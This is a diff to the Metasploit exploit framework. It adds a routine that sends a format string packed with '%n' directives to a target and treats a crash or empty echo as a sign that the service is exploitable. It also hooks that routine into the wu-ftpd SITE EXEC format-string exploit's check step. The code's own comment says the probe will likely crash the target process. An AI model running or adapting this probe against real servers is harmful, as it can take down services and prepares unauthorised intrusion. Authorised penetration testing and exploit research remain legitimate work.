diff --git a/lib/msf/core/exploit/fmtstr.rb b/lib/msf/core/exploit/fmtstr.rb index 241619a5a3..1e9a2d5b31 100644 --- a/lib/msf/core/exploit/fmtstr.rb +++ b/lib/msf/core/exploit/fmtstr.rb @@ -69,6 +69,22 @@ module Exploit::FormatString return false end + # NOTE: This will likely crash the target process + def fmtstr_detect_exploitable + begin + res = trigger_fmt("|" + ("%n" * 16) + "|") + rescue ::Exception + res = nil + end + return true if not res + res = extract_fmt_output(res) + if res =~ /^\|\|$/ + return true + end + return false + end + + # # Generates a format string that will perform an arbitrary write using # two separate short values diff --git a/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb b/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb index 91ef1312bc..8d6fd16918 100644 --- a/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb +++ b/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb @@ -124,6 +124,9 @@ class Metasploit3 < Msf::Exploit::Remote if not fmtstr_detect_vulnerable status = Exploit::CheckCode::Safe end + if not fmtstr_detect_exploitable + status = Exploit::CheckCode::Safe + end disconnect return status end